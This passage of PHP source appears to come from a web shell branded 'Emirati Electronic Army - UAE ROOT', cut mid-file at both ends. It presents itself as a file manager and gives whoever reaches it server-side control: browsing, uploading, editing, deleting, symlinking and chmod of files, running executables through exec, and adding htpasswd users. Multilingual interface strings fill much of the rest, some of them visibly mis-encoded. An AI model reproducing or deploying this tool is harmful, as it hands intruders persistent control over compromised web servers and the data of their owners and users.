} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\n<b>" . word('copy_files') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
' . word('destination') . ':
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'create_symlink':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
if (!@file_exists($dest) && @symlink($file, $dest)) {
listing_page(notice('symlinked', $file, $dest));
} else {
listing_page(error('not_symlinked', $file, $dest));
}
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog" id="symlink">
<tr>
<td style="vertical-align: top">' . word('destination') . ': </td>
<td>
<b>' . html($file) . '</b><br />
<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
<label for="checkbox_relative">' . word('relative') . '</label>
<input type="hidden" name="action" value="create_symlink" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
</td>
</tr>
<tr>
<td>' . word('symlink') . ': </td>
<td>
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('create_symlink') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'edit':
if (!empty($_POST['save'])) {
$content = str_replace("\r\n", "\n", $_POST['content']);
if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
listing_page(notice('saved', $file));
} else {
listing_page(error('not_saved', $file));
}
} else {
if (@is_readable($file) && @is_writable($file)) {
edit($file);
} else {
listing_page(error('not_edited', $file));
}
}
break;
case 'permission':
if (!empty($_POST['set'])) {
$mode = 0;
if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
if (@chmod($file, $mode)) {
listing_page(notice('permission_set', $file, decoct($mode)));
} else {
listing_page(error('permission_not_set', $file, decoct($mode)));
}
} else {
html_header();
$mode = fileperms($file);
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<p style="margin: 0">' . phrase('permission_for', $file) . '</p>
<hr />
<table id="permission">
<tr>
<td></td>
<td style="border-right: 1px solid black">' . word('owner') . '</td>
<td style="border-right: 1px solid black">' . word('group') . '</td>
<td>' . word('other') . '</td>
</tr>
<tr>
<td style="text-align: right">' . word('read') . ':</td>
<td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
</tr>
<tr>
<td style="text-align: right">' . word('write') . ':</td>
<td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
</tr>
<tr>
<td style="text-align: right">' . word('execute') . ':</td>
<td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
<td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
</tr>
</table>
<hr />
<input type="submit" name="set" value="' . word('set') . '" />
<input type="hidden" name="action" value="permission" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
default:
listing_page();
}
/* ------------------------------------------------------------------------- */
function getlist ($directory) {
global $delim, $win;
if ($d = @opendir($directory)) {
while (($filename = @readdir($d)) !== false) {
$path = $directory . $filename;
if ($stat = @lstat($path)) {
$file = array(
'filename' => $filename,
'path' => $path,
'is_file' => @is_file($path),
'is_dir' => @is_dir($path),
'is_link' => @is_link($path),
'is_readable' => @is_readable($path),
'is_writable' => @is_writable($path),
'size' => $stat['size'],
'permission' => $stat['mode'],
'owner' => $stat['uid'],
'group' => $stat['gid'],
'mtime' => @filemtime($path),
'atime' => @fileatime($path),
'ctime' => @filectime($path)
);
if ($file['is_dir']) {
$file['is_executable'] = @file_exists($path . $delim . '.');
} else {
if (!$win) {
$file['is_executable'] = @is_executable($path);
} else {
$file['is_executable'] = true;
}
}
if ($file['is_link']) $file['target'] = @readlink($path);
if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
$files[] = $file;
}
}
return $files;
} else {
return false;
}
}
function sortlist (&$list, $key, $reverse) {
quicksort($list, 0, sizeof($list) - 1, $key);
if ($reverse) $list = array_reverse($list);
}
function quicksort (&$array, $first, $last, $key) {
if ($first < $last) {
$cmp = $array[floor(($first + $last) / 2)][$key];
$l = $first;
$r = $last;
while ($l <= $r) {
while ($array[$l][$key] < $cmp) $l++;
while ($array[$r][$key] > $cmp) $r--;
if ($l <= $r) {
$tmp = $array[$l];
$array[$l] = $array[$r];
$array[$r] = $tmp;
$l++;
$r--;
}
}
quicksort($array, $first, $r, $key);
quicksort($array, $l, $last, $key);
}
}
function permission_octal2string ($mode) {
if (($mode & 0xC000) === 0xC000) {
$type = 's';
} elseif (($mode & 0xA000) === 0xA000) {
$type = 'l';
} elseif (($mode & 0x8000) === 0x8000) {
$type = '-';
} elseif (($mode & 0x6000) === 0x6000) {
$type = 'b';
} elseif (($mode & 0x4000) === 0x4000) {
$type = 'd';
} elseif (($mode & 0x2000) === 0x2000) {
$type = 'c';
} elseif (($mode & 0x1000) === 0x1000) {
$type = 'p';
} else {
$type = '?';
}
$owner = ($mode & 00400) ? 'r' : '-';
$owner .= ($mode & 00200) ? 'w' : '-';
if ($mode & 0x800) {
$owner .= ($mode & 00100) ? 's' : 'S';
} else {
$owner .= ($mode & 00100) ? 'x' : '-';
}
$group = ($mode & 00040) ? 'r' : '-';
$group .= ($mode & 00020) ? 'w' : '-';
if ($mode & 0x400) {
$group .= ($mode & 00010) ? 's' : 'S';
} else {
$group .= ($mode & 00010) ? 'x' : '-';
}
$other = ($mode & 00004) ? 'r' : '-';
$other .= ($mode & 00002) ? 'w' : '-';
if ($mode & 0x200) {
$other .= ($mode & 00001) ? 't' : 'T';
} else {
$other .= ($mode & 00001) ? 'x' : '-';
}
return $type . $owner . $group . $other;
}
function is_script ($filename) {
return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
}
function getmimetype ($filename) {
static $mimes = array(
'\.jpg$|\.jpeg$' => 'image/jpeg',
'\.gif$' => 'image/gif',
'\.png$' => 'image/png',
'\.html$|\.html$' => 'text/html',
'\.txt$|\.asc$' => 'text/plain',
'\.xml$|\.xsl$' => 'application/xml',
'\.pdf$' => 'application/pdf'
);
foreach ($mimes as $regex => $mime) {
if (eregi($regex, $filename)) return $mime;
}
// return 'application/octet-stream';
return 'text/plain';
}
function del ($file) {
global $delim;
if (!@is_link($file) && !file_exists($file)) return false;
if (!@is_link($file) && @is_dir($file)) {
if ($dir = @opendir($file)) {
$error = false;
while (($f = readdir($dir)) !== false) {
if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
$error = true;
}
}
closedir($dir);
if (!$error) return @rmdir($file);
return !$error;
} else {
return false;
}
} else {
return @unlink($file);
}
}
function addslash ($directory) {
global $delim;
if (substr($directory, -1, 1) != $delim) {
return $directory . $delim;
} else {
return $directory;
}
}
function relative2absolute ($string, $directory) {
if (path_is_relative($string)) {
return simplify_path(addslash($directory) . $string);
} else {
return simplify_path($string);
}
}
function path_is_relative ($path) {
global $win;
if ($win) {
return (substr($path, 1, 1) != ':');
} else {
return (substr($path, 0, 1) != '/');
}
}
function absolute2relative ($directory, $target) {
global $delim;
$path = '';
while ($directory != $target) {
if ($directory == substr($target, 0, strlen($directory))) {
$path .= substr($target, strlen($directory));
break;
} else {
$path .= '..' . $delim;
$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
}
}
if ($path == '') $path = '.';
return $path;
}
function simplify_path ($path) {
global $delim;
if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
$path = realpath($path);
if (@is_dir($path)) {
return addslash($path);
} else {
return $path;
}
}
$pattern = $delim . '.' . $delim;
if (@is_dir($path)) {
$path = addslash($path);
}
while (strpos($path, $pattern) !== false) {
$path = str_replace($pattern, $delim, $path);
}
$e = addslashes($delim);
$regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
while (ereg($regex, $path)) {
$path = ereg_replace($regex, $delim, $path);
}
return $path;
}
function human_filesize ($filesize) {
$suffices = 'kMGTPE';
$n = 0;
while ($filesize >= 1000) {
$filesize /= 1024;
$n++;
}
$filesize = round($filesize, 3 - strpos($filesize, '.'));
if (strpos($filesize, '.') !== false) {
while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
$filesize = substr($filesize, 0, strlen($filesize) - 1);
}
}
$suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
return $filesize . " {$suffix}B";
}
function strip (&$str) {
$str = stripslashes($str);
}
/* ------------------------------------------------------------------------- */
function listing_page ($message = null) {
global $self, $directory, $sort, $reverse;
html_header();
$list = getlist($directory);
if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
sortlist($list, $sort, $reverse);
echo '<h1 style="margin-bottom: 0">Emirati Electronic Army - UAE ROOT</h1>
<form enctype="multipart/form-data" action="' . $self . '" method="post">
<table id="main">
';
directory_choice();
if (!empty($message)) {
spacer();
echo $message;
}
if (@is_writable($directory)) {
upload_box();
create_box();
} else {
spacer();
}
if ($list) {
listing($list);
} else {
echo error('not_readable', $directory);
}
echo '</table>
</form>
';
html_footer();
}
function listing ($list) {
global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
echo '<tr class="listing">
<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';
$d = 'dir=' . urlencode($directory) . '&';
if (!$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = '';
echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n";
if (!$reverse && $sort == 'size') $r = '&reverse=true'; else $r = '';
echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n";
if (!$win) {
if (!$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = '';
echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n";
if (!$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = '';
echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n";
if (!$reverse && $sort == 'group') $r = '&reverse=true'; else $r = '';
echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n";
}
echo ' <th class="functions">' . word('functions') . '</th>
</tr>
';
for ($i = 0; $i < sizeof($list); $i++) {
$file = $list[$i];
$timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
echo '<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
<td class="filename" title="' . html($timestamps) . '">';
if ($file['is_link']) {
echo '<img src="' . $self . '?image=link" alt="link" /> ';
echo html($file['filename']) . ' → ';
$real_file = relative2absolute($file['target'], $directory);
if (@is_readable($real_file)) {
if (@is_dir($real_file)) {
echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
} else {
echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
}
} else {
echo html($file['target']);
}
} elseif ($file['is_dir']) {
echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
if ($win || $file['is_executable']) {
echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
} else {
echo html($file['filename']);
}
echo ' ]';
} else {
if (substr($file['filename'], 0, 1) == '.') {
echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
} else {
echo '<img src="' . $self . '?image=file" alt="file" /> ';
}
if ($file['is_file'] && $file['is_readable']) {
echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
} else {
echo html($file['filename']);
}
}
if ($file['size'] >= 1000) {
$human = ' title="' . human_filesize($file['size']) . '"';
} else {
$human = '';
}
echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
if (!$win) {
echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
$l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
echo html(permission_octal2string($file['permission']));
if ($l) echo '</a>';
echo "</td>\n";
if (array_key_exists('owner_name', $file)) {
echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
} else {
echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
}
if (array_key_exists('group_name', $file)) {
echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
} else {
echo "\t<td class=\"group\">{$file['group']}</td>\n";
}
}
echo ' <td class="functions">
<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';
$actions = array();
if (function_exists('symlink')) {
$actions[] = 'create_symlink';
}
if (@is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'rename';
$actions[] = 'move';
}
if ($file['is_file'] && $file['is_readable']) {
$actions[] = 'copy';
$actions[] = 'download';
if ($file['is_writable']) $actions[] = 'edit';
}
if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
$actions[] = 'execute';
}
if (sizeof($actions) > 0) {
echo ' <select class="small" name="action' . $i . '" size="1">
<option value="">' . str_repeat(' ', 30) . '</option>
';
foreach ($actions as $action) {
echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
}
echo ' </select>
<input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
';
}
echo ' </td>
</tr>
';
}
echo '<tr class="listing_footer">
<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
<td colspan="' . ($cols - 1) . '">
<input type="hidden" name="num" value="' . sizeof($list) . '" />
<input type="hidden" name="focus" value="" />
<input type="hidden" name="olddir" value="' . html($directory) . '" />
';
$actions = array();
if (@is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'move';
}
$actions[] = 'copy';
echo ' <select class="small" name="action_all" size="1">
<option value="">' . str_repeat(' ', 30) . '</option>
';
foreach ($actions as $action) {
echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
}
echo ' </select>
<input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" />
</td>
</tr>
';
}
function directory_choice () {
global $directory, $homedir, $cols, $self;
echo '<tr>
<td colspan="' . $cols . '" id="directory">
<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
</td>
</tr>
';
}
function upload_box () {
global $cols;
echo '<tr>
<td colspan="' . $cols . '" id="upload">
' . word('file') . ':
<input type="file" name="upload" onfocus="activate(\'other\')" />
<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
</td>
</tr>
';
}
function create_box () {
global $cols;
echo '<tr>
<td colspan="' . $cols . '" id="create">
<select name="create_type" size="1" onfocus="activate(\'create\')">
<option value="file">' . word('file') . '</option>
<option value="directory">' . word('directory') . '</option>
</select>
<input type="text" name="create_name" onfocus="activate(\'create\')" />
<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
</td>
</tr>
';
}
function edit ($file) {
global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
html_header();
echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
if (array_key_exists('content', $_POST)) {
echo $_POST['content'];
} else {
$f = fopen($file, 'r');
while (!feof($f)) {
echo html(fread($f, 8192));
}
fclose($f);
}
if (!empty($_POST['user'])) {
echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
}
if (!empty($_POST['basic_auth'])) {
if ($win) {
$authfile = str_replace('\\', '/', $directory) . $htpasswd;
} else {
$authfile = $directory . $htpasswd;
}
echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
echo 'AuthUserFile "' . html($authfile) . ""\n";
echo 'Require valid-user';
}
echo '</textarea>
<hr />
';
if ($apache && basename($file) == $htpasswd) {
echo '
' . word('user') . ': <input type="text" name="user" />
' . word('password') . ': <input type="password" name="password" />
<input type="submit" value="' . word('add') . '" />
<hr />
';
}
if ($apache && basename($file) == $htaccess) {
echo '
<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
<hr />
';
}
echo '
<input type="hidden" name="action" value="edit" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
<input type="reset" value="' . word('reset') . '" id="red_button" />
<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
function spacer () {
global $cols;
echo '<tr>
<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';
}
function textfieldsize ($content) {
$size = strlen($content) + 5;
if ($size < 30) $size = 30;
return $size;
}
function request_dump () {
foreach ($_REQUEST as $key => $value) {
echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
}
}
/* ------------------------------------------------------------------------- */
function html ($string) {
global $site_charset;
return htmlentities($string, ENT_COMPAT, $site_charset);
}
function word ($word) {
global $words, $word_charset;
return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}
function phrase ($phrase, $arguments) {
global $words;
static $search;
if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
for ($i = 0; $i < sizeof($arguments); $i++) {
$arguments[$i] = nl2br(html($arguments[$i]));
}
$replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
}
function getwords ($lang) {
global $word_charset, $date_format;
switch ($lang) {
case 'de':
$date_format = 'd.m.y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Verzeichnis',
'file' => 'Datei',
'filename' => 'Dateiname',
'size' => 'Grِكe',
'permission' => 'Rechte',
'owner' => 'Eigner',
'group' => 'Gruppe',
'other' => 'Andere',
'functions' => 'Funktionen',
'read' => 'lesen',
'write' => 'schreiben',
'execute' => 'ausführen',
'create_symlink' => 'Symlink erstellen',
'delete' => 'lِschen',
'rename' => 'umbenennen',
'move' => 'verschieben',
'copy' => 'kopieren',
'edit' => 'editieren',
'download' => 'herunterladen',
'upload' => 'hochladen',
'create' => 'erstellen',
'change' => 'wechseln',
'save' => 'speichern',
'set' => 'setze',
'reset' => 'zurücksetzen',
'relative' => 'Pfad zum Ziel relativ',
'yes' => 'Ja',
'no' => 'Nein',
'back' => 'zurück',
'destination' => 'Ziel',
'symlink' => 'Symbolischer Link',
'no_output' => 'keine Ausgabe',
'user' => 'Benutzername',
'password' => 'Kennwort',
'add' => 'hinzufügen',
'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
'uploaded' => '"[%1]" wurde hochgeladen.',
'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
'already_exists' => '"[%1]" existiert bereits.',
'created' => '"[%1]" wurde erstellt.',
'not_created' => '"[%1]" konnte nicht erstellt werden.',
'really_delete' => 'Sollen folgende Dateien wirklich gelِscht werden?',
'deleted' => "Folgende Dateien wurden gelِscht:\n[%1]",
'not_deleted' => "Folgende Dateien konnten nicht gelِscht werden:\n[%1]",
'rename_file' => 'Benenne Datei um:',
'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
'move_files' => 'Verschieben folgende Dateien:',
'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
'copy_files' => 'Kopiere folgende Dateien:',
'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
'not_edited' => '"[%1]" kann nicht editiert werden.',
'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
'saved' => '"[%1]" wurde gespeichert.',
'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
'permission_for' => 'Rechte für "[%1]":',
'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
'not_readable' => '"[%1]" kann nicht gelesen werden.'
);
case 'fr':
$date_format = 'd.m.y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Répertoire',
'file' => 'Fichier',
'filename' => 'Nom fichier',
'size' => 'Taille',
'permission' => 'Droits',
'owner' => 'Propriétaire',
'group' => 'Groupe',
'other' => 'Autres',
'functions' => 'Fonctions',
'read' => 'Lire',
'write' => 'Ecrire',
'execute' => 'Exécuter',
'create_symlink' => 'Créer lien symbolique',
'delete' => 'Effacer',
'rename' => 'Renommer',
'move' => 'Déplacer',
'copy' => 'Copier',
'edit' => 'Ouvrir',
'download' => 'Télécharger sur PC',
'upload' => 'Télécharger sur serveur',
'create' => 'Créer',
'change' => 'Changer',
'save' => 'Sauvegarder',
'set' => 'Exécuter',
'reset' => 'Réinitialiser',
'relative' => 'Relatif',
'yes' => 'Oui',
'no' => 'Non',
'back' => 'Retour',
'destination' => 'Destination',
'symlink' => 'Lien symbollique',
'no_output' => 'Pas de sortie',
'user' => 'Utilisateur',
'password' => 'Mot de passe',
'add' => 'Ajouter',
'add_basic_auth' => 'add basic-authentification',
'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
'already_exists' => '"[%1]" existe déjà.',
'created' => '"[%1]" a été créé.',
'not_created' => '"[%1]" n a pas pu être créé.',
'really_delete' => 'Effacer le fichier?',
'deleted' => "Ces fichiers ont été détuits:\n[%1]",
'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
'rename_file' => 'Renomme fichier:',
'renamed' => '"[%1]" a été renommé en "[%2]".',
'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
'move_files' => 'Déplacer ces fichiers:',
'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
'copy_files' => 'Copier ces fichiers:',
'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" ne peut être ouvert.',
'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
'saved' => '"[%1]" a été sauvegardé.',
'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
'permission_for' => 'Droits de "[%1]":',
'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
'not_readable' => '"[%1]" ne peut pas être ouvert.'
);
case 'it':
$date_format = 'd-m-Y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Nome File',
'size' => 'Dimensioni',
'permission' => 'Permessi',
'owner' => 'Proprietario',
'group' => 'Gruppo',
'other' => 'Altro',
'functions' => 'Funzioni',
'read' => 'leggi',
'write' => 'scrivi',
'execute' => 'esegui',
'create_symlink' => 'crea link simbolico',
'delete' => 'cancella',
'rename' => 'rinomina',
'move' => 'sposta',
'copy' => 'copia',
'edit' => 'modifica',
'download' => 'download',
'upload' => 'upload',
'create' => 'crea',
'change' => 'cambia',
'save' => 'salva',
'set' => 'imposta',
'reset' => 'reimposta',
'relative' => 'Percorso relativo per la destinazione',
'yes' => 'Si',
'no' => 'No',
'back' => 'indietro',
'destination' => 'Destinazione',
'symlink' => 'Link simbolico',
'no_output' => 'no output',
'user' => 'User',
'password' => 'Password',
'add' => 'aggiungi',
'add_basic_auth' => 'aggiungi autenticazione base',
'uploaded' => '"[%1]" è stato caricato.',
'not_uploaded' => '"[%1]" non è stato caricato.',
'already_exists' => '"[%1]" esiste già.',
'created' => '"[%1]" è stato creato.',
'not_created' => '"[%1]" non è stato creato.',
'really_delete' => 'Cancello questi file ?',
'deleted' => "Questi file sono stati cancellati:\n[%1]",
'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
'rename_file' => 'File rinominato:',
'renamed' => '"[%1]" è stato rinominato in "[%2]".',
'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
'move_files' => 'Sposto questi file:',
'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
'copy_files' => 'Copio questi file',
'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" non puٍ essere modificato.',
'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
'saved' => '"[%1]" è stato salvato.',
'not_saved' => '"[%1]" non è stato salvato.',
'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
'permission_for' => 'Permessi di "[%1]":',
'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
'not_readable' => '"[%1]" non puٍ essere letto.'
);
case 'nl':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Directory',
'file' => 'Bestand',
'filename' => 'Bestandsnaam',
'size' => 'Grootte',
'permission' => 'Bevoegdheid',
'owner' => 'Eigenaar',
'group' => 'Groep',
'other' => 'Anderen',
'functions' => 'Functies',
'read' => 'lezen',
'write' => 'schrijven',
'execute' => 'uitvoeren',
'create_symlink' => 'maak symlink',
'delete' => 'verwijderen',
'rename' => 'hernoemen',
'move' => 'verplaatsen',
'copy' => 'kopieren',
'edit' => 'bewerken',
'download' => 'downloaden',
'upload' => 'uploaden',
'create' => 'aanmaken',
'change' => 'veranderen',
'save' => 'opslaan',
'set' => 'instellen',
'reset' => 'resetten',
'relative' => 'Relatief pat naar doel',
'yes' => 'Ja',
'no' => 'Nee',
'back' => 'terug',
'destination' => 'Bestemming',
'symlink' => 'Symlink',
'no_output' => 'geen output',
'user' => 'Gebruiker',
'password' => 'Wachtwoord',
'add' => 'toevoegen',
'add_basic_auth' => 'add basic-authentification',
'uploaded' => '"[%1]" is verstuurd.',
'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
